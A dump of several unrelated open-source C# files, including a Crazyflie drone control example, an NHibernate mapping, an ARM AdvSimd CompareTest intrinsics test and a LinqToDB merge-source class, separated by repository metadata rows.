crazyflie.ParamConfigurator.RequestUpdateOfAllParams().Wait();
// alternatively you can also use event AllParametersUpdated
var result = crazyflie.ParamConfigurator.GetLoadedParameterValue("system.selftestPassed");
Log.Info($"self test passed: {Convert.ToBoolean(result)}");
}
private static void ParamConfigurator_AllParametersUpdated(object sender, AllParamsUpdatedEventArgs args)
{
var result = ((ICrazyflieParamConfigurator)sender).GetLoadedParameterValue("system.selftestPassed");
Log.Info($"self test passed: {Convert.ToBoolean(result)}");
}
private static void CommanderExample(CrazyflieCopter crazyflie)
{
// use a velocity of 0.2m/sec for 2 seconds in z direction to start.
for (int i = 0; i < 10; i++)
{
crazyflie.Commander.SendVelocityWorldSetpoint(0, 0, 0.2f, 0);
Thread.Sleep(200);
}
// use a velocity of -0.2m/sec for 2 seconds in z direction to land.
for (int i = 0; i < 10; i++)
{
crazyflie.Commander.SendVelocityWorldSetpoint(0, 0, -0.2f, 0);
Thread.Sleep(200);
}
}
private static void LoggingExample(CrazyflieCopter crazyflie)
{
if (!crazyflie.Logger.IsLogVariableKnown("stabilizer.roll"))
{
Log.Warn("stabilizer.roll not a known log variable");
}
var config = crazyflie.Logger.CreateEmptyLogConfigEntry("Stabilizer", 100);
config.AddVariable("stabilizer.roll", "float");
config.AddVariable("stabilizer.pitch", "float");
config.AddVariable("stabilizer.yaw", "float");
config.LogDataReceived += Config_LogDataReceived;
crazyflie.Logger.AddConfig(config);
crazyflie.Logger.StartConfig(config);
Thread.Sleep(1000);
crazyflie.Logger.StopConfig(config);
crazyflie.Logger.DeleteConfig(config);
Thread.Sleep(1000);
}
private static void Config_LogDataReceived(object sender, LogDataReceivedEventArgs e)
{
Log.Info($"log received: {e.TimeStamp} | " +
$"roll: {e.GetVariable("stabilizer.roll") } ,pitch: { e.GetVariable("stabilizer.pitch") }, yaw: {e.GetVariable("stabilizer.yaw")}");
}
}
}
| 37.445415 | 148 | 0.547872 | [
"MIT"
] | DominicUllmann/CrazyflieDotNet | CrazyflieDotNet/Source/CrazyflieDotNet.Example/Program.cs | 8,577 | C# |
namespace DotNetDiagrams.SequenceDiagrams.Interfaces.Configurations
{
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
public interface IPlantUMLSequenceDiagramConfiguration
{
}
} | 23.333333 | 68 | 0.75 | [
"MIT"
] | JustinBritt/Diagrams | DotNetDiagrams.SequenceDiagrams/Interfaces/Configurations/IPlantUMLSequenceDiagramConfiguration.cs | 282 | C# |
namespace InputshareLib
{
public enum BoundEdge
{
Top,
Bottom,
Left,
Right
}
}
| 11.272727 | 25 | 0.475806 | [
"MIT"
] | shayanc/Inputshare | InputshareLib/BoundEdge.cs | 126 | C# |
namespace ClearHl7.Codes.V290
{
/// <summary>
/// HL7 Version 2 Table 0142 - Military Status.
/// </summary>
/// <remarks>https://www.hl7.org/fhir/v2/0142</remarks>
public enum CodeMilitaryStatus
{
/// <summary>
/// ACT - Active duty.
/// </summary>
ActiveDuty,
/// <summary>
/// DEC - Deceased.
/// </summary>
Deceased,
/// <summary>
/// RET - Retired.
/// </summary>
Retired
}
} | 22.75 | 60 | 0.441392 | [
"MIT"
] | davebronson/clear-hl7-net | src/ClearHl7.Codes/V290/CodeMilitaryStatus.cs | 548 | C# |
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[assembly: ComVisible(false)]
[assembly: Guid("ed270a39-d32c-438a-bf4f-aa0e66c7879c")]
[assembly: InternalsVisibleTo("EasyNetQ.Tests, PublicKey=" +
"0024000004800000940000000602000000240000525341310004000001000100b9880ed386bc25" +
"76ba1c405a35e05e57629d54caaf50fe9ada301ba3bd504bdd897d1ec2f9c328b66ebe72f57463" +
"ddc7bcb074d72f633fe4f21f6e9f3f79160af30a11ca7a107b0568c3489a61c7e1ec31652497a7" +
"e553de113df7fb105e115f217a4f8e84d7162d57046be1d1dee9f04c3ffba31bea7de4b809dc82" +
"df736890")]
| 55.538462 | 112 | 0.695291 | [
"MIT"
] | 10088/EasyNetQ | Source/EasyNetQ/Properties/AssemblyInfo.cs | 722 | C# |
using System;
namespace Cowboy.WebSockets.Extensions
{
public abstract class ExtensionParameter
{
public ExtensionParameter(string name)
{
if (string.IsNullOrWhiteSpace(name))
throw new ArgumentNullException("name");
this.Name = name;
}
public string Name { get; private set; }
public abstract ExtensionParameterType ParameterType { get; }
public override string ToString()
{
return string.Format("{0}", this.Name);
}
}
}
| 23.125 | 69 | 0.590991 | [
"Apache-2.0"
] | corefan/Cowboy | Cowboy/Cowboy.WebSockets/Extensions/Parameters/ExtensionParameter.cs | 557 | C# |
using System;
using System.Diagnostics;
namespace Calamari.Terraform.Helpers
{
public static class VersionExtensions
{
public static bool IsLessThan(this Version value, string compareTo)
{
return value.CompareTo(new Version(compareTo)) < 0;
}
}
}
| 21.214286 | 75 | 0.6633 | [
"Apache-2.0"
] | OctopusDeploy/Sashimi.Terraform | source/Calamari/Helpers/VersionExtensions.cs | 299 | C# |
using Fig.Datalayer.BusinessEntities;
using NHibernate;
using NHibernate.Mapping.ByCode;
using NHibernate.Mapping.ByCode.Conformist;
namespace Fig.Datalayer.Mappings;
public class ClientStatusMap : ClassMapping<ClientStatusBusinessEntity>
{
public ClientStatusMap()
{
Table("setting_client");
Id(x => x.Id, m => m.Generator(Generators.GuidComb));
Property(x => x.Name, x => x.Column("name"));
Property(x => x.Instance, x => x.Column("instance"));
Property(x => x.ClientSecret, x => x.Column("client_secret"));
Property(x => x.LastRegistration, x =>
{
x.Column("last_registration");
x.Type(NHibernateUtil.UtcTicks);
});
Property(x => x.LastSettingValueUpdate, x =>
{
x.Column("last_update");
x.Type(NHibernateUtil.UtcTicks);
});
Bag(x => x.RunSessions,
x =>
{
x.Table("run_sessions");
x.Lazy(CollectionLazy.NoLazy);
x.Inverse(false);
x.Cascade(Cascade.All | Cascade.DeleteOrphans);
x.Key(a => a.Column(b => b.Name("client_reference")));
},
x => x.OneToMany(a => { a.Class(typeof(ClientRunSessionBusinessEntity)); }));
}
} | 34.368421 | 89 | 0.566616 | [
"Apache-2.0"
] | mzbrau/fig | src/api/Fig.Datalayer/Mappings/ClientStatusMap.cs | 1,306 | C# |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
/******************************************************************************
* This file is auto-generated from a template file by the GenerateTests.csx *
* script in tests\src\JIT\HardwareIntrinsics.Arm\Shared. In order to make *
* changes, please update the corresponding template and run according to the *
* directions listed in the file. *
******************************************************************************/
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Intrinsics;
using System.Runtime.Intrinsics.Arm;
namespace JIT.HardwareIntrinsics.Arm
{
public static partial class Program
{
private static void CompareTest_Vector64_Int32()
{
var test = new SimpleBinaryOpTest__CompareTest_Vector64_Int32();
if (test.IsSupported)
{
// Validates basic functionality works, using Unsafe.Read
test.RunBasicScenario_UnsafeRead();
if (AdvSimd.IsSupported)
{
// Validates basic functionality works, using Load
test.RunBasicScenario_Load();
}
// Validates calling via reflection works, using Unsafe.Read
test.RunReflectionScenario_UnsafeRead();
if (AdvSimd.IsSupported)
{
// Validates calling via reflection works, using Load
test.RunReflectionScenario_Load();
}
// Validates passing a static member works
test.RunClsVarScenario();
if (AdvSimd.IsSupported)
{
// Validates passing a static member works, using pinning and Load
test.RunClsVarScenario_Load();
}
// Validates passing a local works, using Unsafe.Read
test.RunLclVarScenario_UnsafeRead();
if (AdvSimd.IsSupported)
{
// Validates passing a local works, using Load
test.RunLclVarScenario_Load();
}
// Validates passing the field of a local class works
test.RunClassLclFldScenario();
if (AdvSimd.IsSupported)
{
// Validates passing the field of a local class works, using pinning and Load
test.RunClassLclFldScenario_Load();
}
// Validates passing an instance member of a class works
test.RunClassFldScenario();
if (AdvSimd.IsSupported)
{
// Validates passing an instance member of a class works, using pinning and Load
test.RunClassFldScenario_Load();
}
// Validates passing the field of a local struct works
test.RunStructLclFldScenario();
if (AdvSimd.IsSupported)
{
// Validates passing the field of a local struct works, using pinning and Load
test.RunStructLclFldScenario_Load();
}
// Validates passing an instance member of a struct works
test.RunStructFldScenario();
if (AdvSimd.IsSupported)
{
// Validates passing an instance member of a struct works, using pinning and Load
test.RunStructFldScenario_Load();
}
}
else
{
// Validates we throw on unsupported hardware
test.RunUnsupportedScenario();
}
if (!test.Succeeded)
{
throw new Exception("One or more scenarios did not complete as expected.");
}
}
}
public sealed unsafe class SimpleBinaryOpTest__CompareTest_Vector64_Int32
{
private struct DataTable
{
private byte[] inArray1;
private byte[] inArray2;
private byte[] outArray;
private GCHandle inHandle1;
private GCHandle inHandle2;
private GCHandle outHandle;
private ulong alignment;
public DataTable(Int32[] inArray1, Int32[] inArray2, Int32[] outArray, int alignment)
{
int sizeOfinArray1 = inArray1.Length * Unsafe.SizeOf<Int32>();
int sizeOfinArray2 = inArray2.Length * Unsafe.SizeOf<Int32>();
int sizeOfoutArray = outArray.Length * Unsafe.SizeOf<Int32>();
if ((alignment != 16 && alignment != 8) || (alignment * 2) < sizeOfinArray1 || (alignment * 2) < sizeOfinArray2 || (alignment * 2) < sizeOfoutArray)
{
throw new ArgumentException("Invalid value of alignment");
}
this.inArray1 = new byte[alignment * 2];
this.inArray2 = new byte[alignment * 2];
this.outArray = new byte[alignment * 2];
this.inHandle1 = GCHandle.Alloc(this.inArray1, GCHandleType.Pinned);
this.inHandle2 = GCHandle.Alloc(this.inArray2, GCHandleType.Pinned);
this.outHandle = GCHandle.Alloc(this.outArray, GCHandleType.Pinned);
this.alignment = (ulong)alignment;
Unsafe.CopyBlockUnaligned(ref Unsafe.AsRef<byte>(inArray1Ptr), ref Unsafe.As<Int32, byte>(ref inArray1[0]), (uint)sizeOfinArray1);
Unsafe.CopyBlockUnaligned(ref Unsafe.AsRef<byte>(inArray2Ptr), ref Unsafe.As<Int32, byte>(ref inArray2[0]), (uint)sizeOfinArray2);
}
public void* inArray1Ptr => Align((byte*)(inHandle1.AddrOfPinnedObject().ToPointer()), alignment);
public void* inArray2Ptr => Align((byte*)(inHandle2.AddrOfPinnedObject().ToPointer()), alignment);
public void* outArrayPtr => Align((byte*)(outHandle.AddrOfPinnedObject().ToPointer()), alignment);
public void Dispose()
{
inHandle1.Free();
inHandle2.Free();
outHandle.Free();
}
private static unsafe void* Align(byte* buffer, ulong expectedAlignment)
{
return (void*)(((ulong)buffer + expectedAlignment - 1) & ~(expectedAlignment - 1));
}
}
private struct TestStruct
{
public Vector64<Int32> _fld1;
public Vector64<Int32> _fld2;
public static TestStruct Create()
{
var testStruct = new TestStruct();
for (var i = 0; i < Op1ElementCount; i++) { _data1[i] = TestLibrary.Generator.GetInt32(); }
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector64<Int32>, byte>(ref testStruct._fld1), ref Unsafe.As<Int32, byte>(ref _data1[0]), (uint)Unsafe.SizeOf<Vector64<Int32>>());
for (var i = 0; i < Op2ElementCount; i++) { _data2[i] = TestLibrary.Generator.GetInt32(); }
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector64<Int32>, byte>(ref testStruct._fld2), ref Unsafe.As<Int32, byte>(ref _data2[0]), (uint)Unsafe.SizeOf<Vector64<Int32>>());
return testStruct;
}
public void RunStructFldScenario(SimpleBinaryOpTest__CompareTest_Vector64_Int32 testClass)
{
var result = AdvSimd.CompareTest(_fld1, _fld2);
Unsafe.Write(testClass._dataTable.outArrayPtr, result);
testClass.ValidateResult(_fld1, _fld2, testClass._dataTable.outArrayPtr);
}
public void RunStructFldScenario_Load(SimpleBinaryOpTest__CompareTest_Vector64_Int32 testClass)
{
fixed (Vector64<Int32>* pFld1 = &_fld1)
fixed (Vector64<Int32>* pFld2 = &_fld2)
{
var result = AdvSimd.CompareTest(
AdvSimd.LoadVector64((Int32*)(pFld1)),
AdvSimd.LoadVector64((Int32*)(pFld2))
);
Unsafe.Write(testClass._dataTable.outArrayPtr, result);
testClass.ValidateResult(_fld1, _fld2, testClass._dataTable.outArrayPtr);
}
}
}
private static readonly int LargestVectorSize = 8;
private static readonly int Op1ElementCount = Unsafe.SizeOf<Vector64<Int32>>() / sizeof(Int32);
private static readonly int Op2ElementCount = Unsafe.SizeOf<Vector64<Int32>>() / sizeof(Int32);
private static readonly int RetElementCount = Unsafe.SizeOf<Vector64<Int32>>() / sizeof(Int32);
private static Int32[] _data1 = new Int32[Op1ElementCount];
private static Int32[] _data2 = new Int32[Op2ElementCount];
private static Vector64<Int32> _clsVar1;
private static Vector64<Int32> _clsVar2;
private Vector64<Int32> _fld1;
private Vector64<Int32> _fld2;
private DataTable _dataTable;
static SimpleBinaryOpTest__CompareTest_Vector64_Int32()
{
for (var i = 0; i < Op1ElementCount; i++) { _data1[i] = TestLibrary.Generator.GetInt32(); }
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector64<Int32>, byte>(ref _clsVar1), ref Unsafe.As<Int32, byte>(ref _data1[0]), (uint)Unsafe.SizeOf<Vector64<Int32>>());
for (var i = 0; i < Op2ElementCount; i++) { _data2[i] = TestLibrary.Generator.GetInt32(); }
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector64<Int32>, byte>(ref _clsVar2), ref Unsafe.As<Int32, byte>(ref _data2[0]), (uint)Unsafe.SizeOf<Vector64<Int32>>());
}
public SimpleBinaryOpTest__CompareTest_Vector64_Int32()
{
Succeeded = true;
for (var i = 0; i < Op1ElementCount; i++) { _data1[i] = TestLibrary.Generator.GetInt32(); }
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector64<Int32>, byte>(ref _fld1), ref Unsafe.As<Int32, byte>(ref _data1[0]), (uint)Unsafe.SizeOf<Vector64<Int32>>());
for (var i = 0; i < Op2ElementCount; i++) { _data2[i] = TestLibrary.Generator.GetInt32(); }
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector64<Int32>, byte>(ref _fld2), ref Unsafe.As<Int32, byte>(ref _data2[0]), (uint)Unsafe.SizeOf<Vector64<Int32>>());
for (var i = 0; i < Op1ElementCount; i++) { _data1[i] = TestLibrary.Generator.GetInt32(); }
for (var i = 0; i < Op2ElementCount; i++) { _data2[i] = TestLibrary.Generator.GetInt32(); }
_dataTable = new DataTable(_data1, _data2, new Int32[RetElementCount], LargestVectorSize);
}
public bool IsSupported => AdvSimd.IsSupported;
public bool Succeeded { get; set; }
public void RunBasicScenario_UnsafeRead()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_UnsafeRead));
var result = AdvSimd.CompareTest(
Unsafe.Read<Vector64<Int32>>(_dataTable.inArray1Ptr),
Unsafe.Read<Vector64<Int32>>(_dataTable.inArray2Ptr)
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr);
}
public void RunBasicScenario_Load()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_Load));
var result = AdvSimd.CompareTest(
AdvSimd.LoadVector64((Int32*)(_dataTable.inArray1Ptr)),
AdvSimd.LoadVector64((Int32*)(_dataTable.inArray2Ptr))
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr);
}
public void RunReflectionScenario_UnsafeRead()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_UnsafeRead));
var result = typeof(AdvSimd).GetMethod(nameof(AdvSimd.CompareTest), new Type[] { typeof(Vector64<Int32>), typeof(Vector64<Int32>) })
.Invoke(null, new object[] {
Unsafe.Read<Vector64<Int32>>(_dataTable.inArray1Ptr),
Unsafe.Read<Vector64<Int32>>(_dataTable.inArray2Ptr)
});
Unsafe.Write(_dataTable.outArrayPtr, (Vector64<Int32>)(result));
ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr);
}
public void RunReflectionScenario_Load()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_Load));
var result = typeof(AdvSimd).GetMethod(nameof(AdvSimd.CompareTest), new Type[] { typeof(Vector64<Int32>), typeof(Vector64<Int32>) })
.Invoke(null, new object[] {
AdvSimd.LoadVector64((Int32*)(_dataTable.inArray1Ptr)),
AdvSimd.LoadVector64((Int32*)(_dataTable.inArray2Ptr))
});
Unsafe.Write(_dataTable.outArrayPtr, (Vector64<Int32>)(result));
ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr);
}
public void RunClsVarScenario()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunClsVarScenario));
var result = AdvSimd.CompareTest(
_clsVar1,
_clsVar2
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_clsVar1, _clsVar2, _dataTable.outArrayPtr);
}
public void RunClsVarScenario_Load()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunClsVarScenario_Load));
fixed (Vector64<Int32>* pClsVar1 = &_clsVar1)
fixed (Vector64<Int32>* pClsVar2 = &_clsVar2)
{
var result = AdvSimd.CompareTest(
AdvSimd.LoadVector64((Int32*)(pClsVar1)),
AdvSimd.LoadVector64((Int32*)(pClsVar2))
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_clsVar1, _clsVar2, _dataTable.outArrayPtr);
}
}
public void RunLclVarScenario_UnsafeRead()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_UnsafeRead));
var op1 = Unsafe.Read<Vector64<Int32>>(_dataTable.inArray1Ptr);
var op2 = Unsafe.Read<Vector64<Int32>>(_dataTable.inArray2Ptr);
var result = AdvSimd.CompareTest(op1, op2);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(op1, op2, _dataTable.outArrayPtr);
}
public void RunLclVarScenario_Load()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_Load));
var op1 = AdvSimd.LoadVector64((Int32*)(_dataTable.inArray1Ptr));
var op2 = AdvSimd.LoadVector64((Int32*)(_dataTable.inArray2Ptr));
var result = AdvSimd.CompareTest(op1, op2);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(op1, op2, _dataTable.outArrayPtr);
}
public void RunClassLclFldScenario()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunClassLclFldScenario));
var test = new SimpleBinaryOpTest__CompareTest_Vector64_Int32();
var result = AdvSimd.CompareTest(test._fld1, test._fld2);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(test._fld1, test._fld2, _dataTable.outArrayPtr);
}
public void RunClassLclFldScenario_Load()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunClassLclFldScenario_Load));
var test = new SimpleBinaryOpTest__CompareTest_Vector64_Int32();
fixed (Vector64<Int32>* pFld1 = &test._fld1)
fixed (Vector64<Int32>* pFld2 = &test._fld2)
{
var result = AdvSimd.CompareTest(
AdvSimd.LoadVector64((Int32*)(pFld1)),
AdvSimd.LoadVector64((Int32*)(pFld2))
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(test._fld1, test._fld2, _dataTable.outArrayPtr);
}
}
public void RunClassFldScenario()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunClassFldScenario));
var result = AdvSimd.CompareTest(_fld1, _fld2);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_fld1, _fld2, _dataTable.outArrayPtr);
}
public void RunClassFldScenario_Load()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunClassFldScenario_Load));
fixed (Vector64<Int32>* pFld1 = &_fld1)
fixed (Vector64<Int32>* pFld2 = &_fld2)
{
var result = AdvSimd.CompareTest(
AdvSimd.LoadVector64((Int32*)(pFld1)),
AdvSimd.LoadVector64((Int32*)(pFld2))
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_fld1, _fld2, _dataTable.outArrayPtr);
}
}
public void RunStructLclFldScenario()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunStructLclFldScenario));
var test = TestStruct.Create();
var result = AdvSimd.CompareTest(test._fld1, test._fld2);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(test._fld1, test._fld2, _dataTable.outArrayPtr);
}
public void RunStructLclFldScenario_Load()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunStructLclFldScenario_Load));
var test = TestStruct.Create();
var result = AdvSimd.CompareTest(
AdvSimd.LoadVector64((Int32*)(&test._fld1)),
AdvSimd.LoadVector64((Int32*)(&test._fld2))
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(test._fld1, test._fld2, _dataTable.outArrayPtr);
}
public void RunStructFldScenario()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunStructFldScenario));
var test = TestStruct.Create();
test.RunStructFldScenario(this);
}
public void RunStructFldScenario_Load()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunStructFldScenario_Load));
var test = TestStruct.Create();
test.RunStructFldScenario_Load(this);
}
public void RunUnsupportedScenario()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunUnsupportedScenario));
bool succeeded = false;
try
{
RunBasicScenario_UnsafeRead();
}
catch (PlatformNotSupportedException)
{
succeeded = true;
}
if (!succeeded)
{
Succeeded = false;
}
}
private void ValidateResult(Vector64<Int32> op1, Vector64<Int32> op2, void* result, [CallerMemberName] string method = "")
{
Int32[] inArray1 = new Int32[Op1ElementCount];
Int32[] inArray2 = new Int32[Op2ElementCount];
Int32[] outArray = new Int32[RetElementCount];
Unsafe.WriteUnaligned(ref Unsafe.As<Int32, byte>(ref inArray1[0]), op1);
Unsafe.WriteUnaligned(ref Unsafe.As<Int32, byte>(ref inArray2[0]), op2);
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Int32, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), (uint)Unsafe.SizeOf<Vector64<Int32>>());
ValidateResult(inArray1, inArray2, outArray, method);
}
private void ValidateResult(void* op1, void* op2, void* result, [CallerMemberName] string method = "")
{
Int32[] inArray1 = new Int32[Op1ElementCount];
Int32[] inArray2 = new Int32[Op2ElementCount];
Int32[] outArray = new Int32[RetElementCount];
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Int32, byte>(ref inArray1[0]), ref Unsafe.AsRef<byte>(op1), (uint)Unsafe.SizeOf<Vector64<Int32>>());
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Int32, byte>(ref inArray2[0]), ref Unsafe.AsRef<byte>(op2), (uint)Unsafe.SizeOf<Vector64<Int32>>());
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Int32, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), (uint)Unsafe.SizeOf<Vector64<Int32>>());
ValidateResult(inArray1, inArray2, outArray, method);
}
private void ValidateResult(Int32[] left, Int32[] right, Int32[] result, [CallerMemberName] string method = "")
{
bool succeeded = true;
if (Helpers.CompareTest(left[0], right[0]) != result[0])
{
succeeded = false;
}
else
{
for (var i = 1; i < RetElementCount; i++)
{
if (Helpers.CompareTest(left[i], right[i]) != result[i])
{
succeeded = false;
break;
}
}
}
if (!succeeded)
{
TestLibrary.TestFramework.LogInformation($"{nameof(AdvSimd)}.{nameof(AdvSimd.CompareTest)}<Int32>(Vector64<Int32>, Vector64<Int32>): {method} failed:");
TestLibrary.TestFramework.LogInformation($" left: ({string.Join(", ", left)})");
TestLibrary.TestFramework.LogInformation($" right: ({string.Join(", ", right)})");
TestLibrary.TestFramework.LogInformation($" result: ({string.Join(", ", result)})");
TestLibrary.TestFramework.LogInformation(string.Empty);
Succeeded = false;
}
}
}
}
| 41.836431 | 185 | 0.580771 | [
"MIT"
] | AArnott/runtime | src/coreclr/tests/src/JIT/HardwareIntrinsics/Arm/AdvSimd/CompareTest.Vector64.Int32.cs | 22,508 | C# |
using System.ComponentModel;
using System.Runtime.CompilerServices;
namespace WeeklyCurriculum.Contracts
{
public class ViewModelBase : INotifyPropertyChanged
{
public event PropertyChangedEventHandler PropertyChanged;
protected virtual void RaisePropertyChanged([CallerMemberName] string propertyName = null)
{
this.PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));
}
}
}
| 28.5625 | 98 | 0.739606 | [
"MIT"
] | tziemek/WeeklyCurriculum | WeeklyCurriculum.Contracts/ViewModelBase.cs | 459 | C# |
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
namespace LoraKeysManagerFacade
{
using System;
public class JoinRefusedException : Exception
{
public JoinRefusedException(string message)
: base(message)
{
}
}
}
| 23.125 | 101 | 0.67027 | [
"MIT"
] | LauraDamianTNA/iotedge-lorawan-starterkit | LoRaEngine/LoraKeysManagerFacade/JoinRefusedException.cs | 372 | C# |
// Copyright (c) Shane Woolcock. Licensed under the MIT Licence.
// See the LICENCE file in the repository root for full licence text.
using osu.Game.Rulesets.Judgements;
using osu.Game.Rulesets.Objects;
using osu.Game.Rulesets.Rush.Judgements;
using osu.Game.Rulesets.Rush.Objects;
using osu.Game.Rulesets.Scoring;
namespace osu.Game.Rulesets.Rush.Scoring
{
public class RushHealthProcessor : HealthProcessor
{
public double PlayerHealthPercentage { get; }
public RushHealthProcessor(double playerHealthPercentage = 100f)
{
PlayerHealthPercentage = playerHealthPercentage;
}
protected virtual double GetHealthPointIncreaseFor(RushJudgementResult result) => result.Judgement.HealthPointIncreaseFor(result);
protected sealed override double GetHealthIncreaseFor(JudgementResult result)
{
var pointIncrease = GetHealthPointIncreaseFor((RushJudgementResult)result);
return pointIncrease / PlayerHealthPercentage;
}
protected override JudgementResult CreateResult(HitObject hitObject, Judgement judgement) => new RushJudgementResult((RushHitObject)hitObject, (RushJudgement)judgement);
}
}
| 38.84375 | 178 | 0.730491 | [
"MIT"
] | Beamographic/rush | osu.Game.Rulesets.Rush/Scoring/RushHealthProcessor.cs | 1,212 | C# |
using LinqToDB.Common;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
namespace LinqToDB.SqlQuery
{
public class SqlMergeSourceTable : ISqlTableSource
{
public SqlMergeSourceTable()
{
SourceID = Interlocked.Increment(ref SelectQuery.SourceIDCounter);
}
internal SqlMergeSourceTable(
int id,
SqlValuesTable sourceEnumerable,
SelectQuery sourceQuery,
IEnumerable<SqlField> sourceFields)
{
SourceID = id;
SourceEnumerable = sourceEnumerable;
SourceQuery = sourceQuery;
foreach (var field in sourceFields)
AddField(field);
}
public string Name => "Source";
public List<SqlField> SourceFields { get; } = new List<SqlField>();
private void AddField(SqlField field)
{
field.Table = this;
SourceFields.Add(field);
}
public SqlValuesTable? SourceEnumerable { get; internal set; }
public SelectQuery? SourceQuery { get; internal set; }
public ISqlTableSource Source => (ISqlTableSource?)SourceQuery ?? SourceEnumerable!;
public void WalkQueries(Func<SelectQuery, SelectQuery> func)
{
if (SourceQuery != null)
SourceQuery = func(SourceQuery);
}
public bool IsParameterDependent
{
// enumerable source allways parameter-dependent
get => SourceQuery?.IsParameterDependent ?? true;
set
{
if (SourceQuery != null)
SourceQuery.IsParameterDependent = value;
}
}
private readonly IDictionary<SqlField, Tuple<SqlField, int>> _sourceFieldsByBase = new Dictionary<SqlField, Tuple<SqlField, int>>();
private readonly IDictionary<ISqlExpression, Tuple<SqlField, int>> _sourceFieldsByExpression = new Dictionary<ISqlExpression, Tuple<SqlField, int>>();
internal SqlField RegisterSourceField(ISqlExpression baseExpression, ISqlExpression expression, int index, Func<SqlField> fieldFactory)
{
var baseField = baseExpression as SqlField;
if (baseField != null && _sourceFieldsByBase.TryGetValue(baseField, out var value))
return value.Item1;
if (baseField == null && expression != null && _sourceFieldsByExpression.TryGetValue(expression, out value))
return value.Item1;
var newField = fieldFactory();
Utils.MakeUniqueNames(new[] { newField }, _sourceFieldsByExpression.Values.Select(t => t.Item1.Name), f => f.Name, (f, n, a) =>
{
f.Name = n;
f.PhysicalName = n;
}, f => "source_field");
SourceFields.Insert(index, newField);
if (expression != null && !_sourceFieldsByExpression.ContainsKey(expression))
_sourceFieldsByExpression.Add(expression, Tuple.Create(newField, index));
if (baseField != null)
_sourceFieldsByBase.Add(baseField, Tuple.Create(newField, index));
return newField;
}
#region IQueryElement
QueryElementType IQueryElement.ElementType => QueryElementType.MergeSourceTable;
public StringBuilder ToString(StringBuilder sb, Dictionary<IQueryElement, IQueryElement> dic)
{
return Source.ToString(sb, dic);
}
#endregion
#region ISqlTableSource
SqlTableType ISqlTableSource.SqlTableType => SqlTableType.MergeSource;
private SqlField? _all;
SqlField ISqlTableSource.All => _all ??= SqlField.All(this);
public int SourceID { get; }
IList<ISqlExpression> ISqlTableSource.GetKeys(bool allIfEmpty) => throw new NotImplementedException();
#endregion
#region ISqlExpressionWalkable
public ISqlExpression? Walk(WalkOptions options, Func<ISqlExpression, ISqlExpression> func)
{
return SourceQuery?.Walk(options, func);
}
#endregion
#region ISqlExpression
bool ISqlExpression.CanBeNull => throw new NotImplementedException();
int ISqlExpression.Precedence => throw new NotImplementedException();
Type ISqlExpression.SystemType => throw new NotImplementedException();
bool ISqlExpression.Equals(ISqlExpression other, Func<ISqlExpression, ISqlExpression, bool> comparer) => throw new NotImplementedException();
#endregion
#region ICloneableElement
ICloneableElement ICloneableElement.Clone(Dictionary<ICloneableElement, ICloneableElement> objectTree, Predicate<ICloneableElement> doClone) => throw new NotImplementedException();
#endregion
#region IEquatable
bool IEquatable<ISqlExpression>.Equals(ISqlExpression? other) => throw new NotImplementedException();
#endregion
}
}
| 29.253247 | 183 | 0.714983 | [
"MIT"
] | Corey-M/linq2db | Source/LinqToDB/SqlQuery/SqlMergeSourceTable.cs | 4,354 | C# |
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
